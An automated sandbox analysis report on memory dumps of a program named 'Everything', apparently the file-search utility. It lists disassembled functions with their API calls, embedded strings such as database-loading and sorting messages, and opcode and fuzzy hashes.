Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Service$ErrorLast$Open$CloseHandle$ControlDeleteManagerMessage
String ID: Everything Client
API String ID: 1180834274-3147354192
Opcode ID: bee598f8365ca3ca97e14aa8c2d9ace575e815c9568f87bc32611eb9e4dd160c
Instruction ID: 87625198be98718dffb992a9c0354cc0fb83b10e1900bd3652fc6d0581fa6dca
Opcode Fuzzy Hash: bee598f8365ca3ca97e14aa8c2d9ace575e815c9568f87bc32611eb9e4dd160c
Instruction Fuzzy Hash: 73315021E0DF5E82FB549F92A8152792361FB4AB88F040036DD6E87755EE3CE058B744

Function 00007FF63D47E800 Relevance: 13.7, Strings: 10, Instructions: 1222COMMON

Download Yara Rule

Strings

Invalid file code offset %d > %d., xrefs: 00007FF63D47EFF2
invalid parent folder index %d >= %d + %d, xrefs: 00007FF63D47EAF0, 00007FF63D47F00B
convert all folder parent indexes into folder parent folders %f seconds, xrefs: 00007FF63D47ED2E
invalid folder index %u, xrefs: 00007FF63D47F647
ESDb, xrefs: 00007FF63D47E825
unsupported db version, xrefs: 00007FF63D47E856
Invalid folder code offset %d > %d., xrefs: 00007FF63D47EC42
Loading structure %08x: %d folders, %d files..., xrefs: 00007FF63D47E8B9
invalid db magic, xrefs: 00007FF63D47E82C
invalid file index %u, xrefs: 00007FF63D47FBAF

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID: ESDb$Invalid file code offset %d > %d.$Invalid folder code offset %d > %d.$Loading structure %08x: %d folders, %d files...$convert all folder parent indexes into folder parent folders %f seconds$invalid db magic$invalid file index %u$invalid folder index %u$invalid parent folder index %d >= %d + %d$unsupported db version
API String ID: 0-1902030742
Opcode ID: 1fa2a57c7cf68b36757dcce6a0f74b01c32c3868fa0aa8d05090b1edce7a99b4
Instruction ID: 6532a922f8fb99380ef91707ca34f39d9ce40712fbcdc90baa1aff7dc851dfc4
Opcode Fuzzy Hash: 1fa2a57c7cf68b36757dcce6a0f74b01c32c3868fa0aa8d05090b1edce7a99b4
Instruction Fuzzy Hash: 7EB2E772B04B8A92DE64CF65E5802BEB3A1FB45BC4F164535CA6E87756EE3DE041D300

Function 00007FF63D61B260 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000000,00000000,00000001,00007FF63D61B57C,?,?,?,?,?,?,00007FF63D619741,?,?,00000000), ref: 00007FF63D61B32F

Strings

Runtime Error!Program: , xrefs: 00007FF63D61B2ED
<program name unknown>, xrefs: 00007FF63D61B339
..., xrefs: 00007FF63D61B391
Microsoft Visual C++ Runtime Library, xrefs: 00007FF63D61B414

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: cdc27e4cdd9eecaed53ac323ebc0b4dd8d4c21060f67068dea3fe0ba801f3825
Instruction ID: 67266d01edff31741c8455af91e2c1573bde00150e6fcc26725b42da3e31d599
Opcode Fuzzy Hash: cdc27e4cdd9eecaed53ac323ebc0b4dd8d4c21060f67068dea3fe0ba801f3825
Instruction Fuzzy Hash: C551C121F1867B42FB11DBE9A4116BA2251AF47760F44423AEE3DC2BC6FE2CE555B300

Function 00007FF63D618FB0 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF63D619D23
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF63D619D42
RtlVirtualUnwind.KERNEL32 ref: 00007FF63D619D8E
IsDebuggerPresent.KERNEL32 ref: 00007FF63D619E00
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF63D619E18
UnhandledExceptionFilter.KERNEL32 ref: 00007FF63D619E25
GetCurrentProcess.KERNEL32 ref: 00007FF63D619E3E
TerminateProcess.KERNEL32 ref: 00007FF63D619E4C

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 3d71a3792f4103f3a6ec06fe76b80d9500f1920c922449c537dc0fdcae4f345b
Instruction ID: 94c368caf1e414abcdfdde448cd7e58411848f5862fd064378b905f1de0f4e6a
Opcode Fuzzy Hash: 3d71a3792f4103f3a6ec06fe76b80d9500f1920c922449c537dc0fdcae4f345b
Instruction Fuzzy Hash: 7B31E231D08B6E95E7509B90F84036973A4FB86748F500036DAAD82B66FF3CE058F740

Function 00007FF63D61B0B0 Relevance: 9.0, APIs: 6, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF63D61B0C1
IsDebuggerPresent.KERNEL32 ref: 00007FF63D61B105
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF63D61B10F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF63D61B11A
GetCurrentProcess.KERNEL32 ref: 00007FF63D61B130
TerminateProcess.KERNEL32 ref: 00007FF63D61B13E

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
String ID:
API String ID: 1269745586-0
Opcode ID: 041fc135333eef0f16d065e85a915a6a02a20603b92f5fd004cd6a2cadae4782
Instruction ID: 6aa67be2d6a660431048a1745f5974ba3085d2458ba6bfa7ff81c8cbd89280c4
Opcode Fuzzy Hash: 041fc135333eef0f16d065e85a915a6a02a20603b92f5fd004cd6a2cadae4782
Instruction Fuzzy Hash: 5E010421E28E5A82E760DB90F44436A73A4FF9A709F410135D6AE82764FF3CD154EB10

Function 00007FF63D5218A0 Relevance: 6.6, Strings: 5, Instructions: 376COMMON

Download Yara Rule

Strings

SET SORT 4 %d, xrefs: 00007FF63D522CE3
SET SORT 3 %d, xrefs: 00007FF63D521988
already sorted, xrefs: 00007FF63D52194B
set sort %d %d, xrefs: 00007FF63D5218E4
finished sort, time taken %f seconds, xrefs: 00007FF63D522D39

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CounterFrequency
String ID: SET SORT 3 %d$SET SORT 4 %d$already sorted$finished sort, time taken %f seconds$set sort %d %d
API String ID: 774501991-358240988
Opcode ID: fe16a9a48a92500404c531363e72b7518f241a0944c1b19febe8f6a129f1cdea
Instruction ID: 0afe16029b9bf9ff86e233eda140b6624254fbdd3e40c93259c2bcc7601f7b74
Opcode Fuzzy Hash: fe16a9a48a92500404c531363e72b7518f241a0944c1b19febe8f6a129f1cdea
Instruction Fuzzy Hash: 3DF18B72A08A8A8AD720CF65D8806AA77A0FB5479CF414036DF4D97B59EF38E549E700

Function 00007FF63D480260 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

rebuild: include only changed, xrefs: 00007FF63D4803DD
rebuild: new refs volume, xrefs: 00007FF63D48028A
rebuild: path changed, xrefs: 00007FF63D48039B
rebuild: guid changed, xrefs: 00007FF63D480328
rebuild: refs index type changed, xrefs: 00007FF63D4802A4

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID: rebuild: guid changed$rebuild: include only changed$rebuild: new refs volume$rebuild: path changed$rebuild: refs index type changed
API String ID: 0-2821217063
Opcode ID: 196fa083cb2110e757207614d357aa7f474dcfccccdfe420d47903362b78a8f3
Instruction ID: e82fc4e03b76873d5605f1ae9b7991381b940b6d700348c77b79004cab559e77
Opcode Fuzzy Hash: 196fa083cb2110e757207614d357aa7f474dcfccccdfe420d47903362b78a8f3
Instruction Fuzzy Hash: EA51D722A1C6CA82E7319765A0502BA6761FF85384F454032DACDC3797FF1EE955E780

Function 00007FF63D54A0C0 Relevance: 6.1, APIs: 4, Instructions: 68fileCOMMON

Download Yara Rule

APIs

PathIsRootW.SHLWAPI ref: 00007FF63D54A114
GetFileAttributesExW.KERNEL32 ref: 00007FF63D54A128
FindFirstFileW.KERNEL32 ref: 00007FF63D54A139
FindClose.KERNEL32 ref: 00007FF63D54A148

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstPathRoot
String ID:
API String ID: 2746138353-0
Opcode ID: c005a6d99f4e13250f2a096e991d24df8edf5bfefc5fee602987cab2d5d01b31
Instruction ID: 15ae3c0ca418e838a6b56efeb91d32035d17f3f951bdb07aedd10f2970896d18
Opcode Fuzzy Hash: c005a6d99f4e13250f2a096e991d24df8edf5bfefc5fee602987cab2d5d01b31
Instruction Fuzzy Hash: 9E31703260868587EB70CB65F4952AAB3A0FB8C7A4F405235EEAE83784DF3CD554DB40

Function 00007FF63D549FA0 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

PathIsRootW.SHLWAPI ref: 00007FF63D549FED
GetFileAttributesExW.KERNEL32 ref: 00007FF63D54A001
FindFirstFileW.KERNEL32 ref: 00007FF63D54A046
FindClose.KERNEL32 ref: 00007FF63D54A055

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstPathRoot
String ID:
API String ID: 2746138353-0
Opcode ID: 024f61dab0b0500076dc12e009eae5265321661d3b39e65c9d37654867cf4c2a
Instruction ID: d4063d3be66d9405ef795a98bb9e5f69567639c3d34ea39131743c40cad17130
Opcode Fuzzy Hash: 024f61dab0b0500076dc12e009eae5265321661d3b39e65c9d37654867cf4c2a
Instruction Fuzzy Hash: 0521843270868587DB74DB65F49527A73A0FB88794F000135EAAE83784EF3CD464DB40

Function 00007FF63D4DDF30 Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

,%u,%I64u, xrefs: 00007FF63D4DE0A6
.csv, xrefs: 00007FF63D4DDF87
.csv.tmp, xrefs: 00007FF63D4DDFA2
Run History, xrefs: 00007FF63D4DDF8E, 00007FF63D4DDFA9

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CreateDirectory$AttributesFile
String ID: ,%u,%I64u$.csv$.csv.tmp$Run History
API String ID: 689033430-1710194831
Opcode ID: 898d2b508b7bbfb2eca96afcc697a25a95d4c74014b3c1a7374c5339de83373c
Instruction ID: 19f5002c6618959104b719d7e0b8eaa808853a87c86a2cdc9b46475fb0ae4f97
Opcode Fuzzy Hash: 898d2b508b7bbfb2eca96afcc697a25a95d4c74014b3c1a7374c5339de83373c
Instruction Fuzzy Hash: DE518332A08A9A81EB61EB51E4403FA7324FF85798F451032DA4C87B5AEF3CE505E740

Function 00007FF63D475670 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

StartServiceCtrlDispatcherW.ADVAPI32 ref: 00007FF63D475691

Strings

Everything Client, xrefs: 00007FF63D475674

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CtrlDispatcherServiceStart
String ID: Everything Client
API String ID: 3789849863-3147354192
Opcode ID: 09a24ed30c01dee1cbd6f9f5210e0a23d154329d4c9df1c8e09edf06e535c427
Instruction ID: f314da04bfd56cfa037f678f3e84ba0514fd18ca4aace9b06c3ab6aa88e4ad27
Opcode Fuzzy Hash: 09a24ed30c01dee1cbd6f9f5210e0a23d154329d4c9df1c8e09edf06e535c427
Instruction Fuzzy Hash: D4D06735A09F8692EB249B50F85109A63A8FB49318F800135D59DC2774FF2CD269EB04

Function 00007FF63D499EB0 Relevance: 3.1, APIs: 2, Instructions: 572COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF63D499EEB
LeaveCriticalSection.KERNEL32 ref: 00007FF63D499F93

Part of subcall function 00007FF63D5489E0: WaitForSingleObject.KERNEL32(?,?,?,00007FF63D480C6E), ref: 00007FF63D5489ED
Part of subcall function 00007FF63D5489E0: EnterCriticalSection.KERNEL32(?,?,?,00007FF63D480C6E), ref: 00007FF63D548A03

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CriticalSection$EnterHeap$AllocLeaveObjectProcessSingleWait
String ID:
API String ID: 1754987657-0
Opcode ID: 03be0aa6fae1ab12cb4252a568e9f6c3a741621529cbdc584606b956e405df8a
Instruction ID: abf3c6a21472d0f94b16286f4696a69be64271e63fb720afab26a3a67d7d9300
Opcode Fuzzy Hash: 03be0aa6fae1ab12cb4252a568e9f6c3a741621529cbdc584606b956e405df8a
Instruction Fuzzy Hash: 8D42D032A09B8A86EB60CFA2E1457A977A4FB45798F094131DF9C83786EF3CE550D740

Function 00007FF63D4CE550 Relevance: 3.1, Strings: 2, Instructions: 551COMMON

Download Yara Rule

Strings

ext: count %d/%d, %t, xrefs: 00007FF63D4CEB7F, 00007FF63D4CEBA5
ext:, xrefs: 00007FF63D4CE57C

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: ext:$ext: count %d/%d, %t
API String ID: 1617791916-1251612051
Opcode ID: 360201b2a18c309f6b5260c00c7eda2863b576ee81085be087989eecca4cdcd1
Instruction ID: 248ab9aa8cb76c61113036d7ebbf3eec7a4bd1aa6b9d92755936bbf93cda4402
Opcode Fuzzy Hash: 360201b2a18c309f6b5260c00c7eda2863b576ee81085be087989eecca4cdcd1
Instruction Fuzzy Hash: 98428D32A09B4996E769CF91E4547B973A4FB48740F128039DB9D83392FF39E924E740

Function 00007FF63D555E20 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

